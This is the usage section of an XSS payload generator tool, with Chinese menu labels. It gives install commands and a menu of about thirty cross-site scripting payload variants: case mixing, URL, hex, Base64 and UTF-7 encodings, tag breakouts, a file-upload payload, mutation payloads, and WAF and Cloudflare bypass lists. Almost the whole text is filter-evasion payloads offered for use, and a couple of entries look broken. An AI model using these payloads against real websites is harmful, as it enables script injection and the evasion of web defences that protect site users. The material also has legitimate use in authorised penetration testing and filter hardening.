git clone https://github.com/capture0x/XSS-LOADER/
cd XSS-LOADER
pip3 install -r requirements.txt

python3 payloader.py

* |   1.  大写---->  <SCRIPT>ALERT(1)</SCRIPT>              
* |   2.  大小写混合----> <ScRiPt>aleRt(1)</ScRiPt>   
* |   3.  URL 编码 ----->   %3Cscript%3Ealert%281%29%3C%2Fscript%3E           
* |   4.  HTML 实体编码----->  &lt;script&gt;alert(1)&lt;/script&gt; 
* |   5.  拆分载荷 ----->  <scri</script>pt>>alert(1)</scri</script>pt>>       
* |   6.  十六进制编码 ----->  3c7363726970743e616c6572742831293c2f7363726970743e       
* |   7.  UTF-16 编码 -----> 将载荷编码为 utf-16 格式。   
* |   8.  UTF-32 编码----->  将载荷编码为 utf-32 格式。          
* |   9.  删除标签 -----> ";alert('XSS');//            
* |  10.  Unicode 编码----->    %uff1cscript%uff1ealert(1)%uff1c/script%uff1e         
* |  11.  US-ASCII 编码 ----->  ¼script¾alert(1)¼/script¾      
* |  12.  Base64 编码 ----->   PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==          
* |  13.  UTF-7 编码 ----->   +ADw-script+AD4-alert(1)+ADw-/script+AD4-           
* |  14.  圆括号绕过 ----->  <script>alert`1`</script>   
* |  15.  UTF-8 编码 ----->  %C0%BCscript%C0%BEalert%CA%B91)%C0%BC/script%C0%BE          
* |  16.  标签块突破-----> "><script>alert(1)</script>
* |  17.  Script 突破----->  </script><script>alert(1)</script>
* |  18.  文件上传载荷-----> "><script>alert(1)</script>.gif
* |  19.  注释内绕过-----> <!--><script>alert(1)</script>-->
* |  20.  突变载荷-----> <noscript><p title="</noscript><script>alert(1)</script>">
* |  21.  畸形 img-----> <script>alert(1)</script>">
* |  22.  空格绕过-----> 
* |  23.  Downlevel-Hidden 块-----> <!--[if gte IE 4]><script>alert(1)</script><![endif]-->
* |  24.  WAF 绕过载荷-----> 显示 WAF 绕过载荷列表
* |  25.  Cloudflare 绕过载荷-----> 显示 Cloudflare 绕过载荷列表
* |  26.  多语言载荷-----> 显示多语言绕过载荷列表
* |  27.  弹窗载荷-----> 显示弹窗载荷列表
* |  28.  全部生成载荷-----> 显示所有生成的载荷
* |  29.  返回主菜单
* |  30.  退出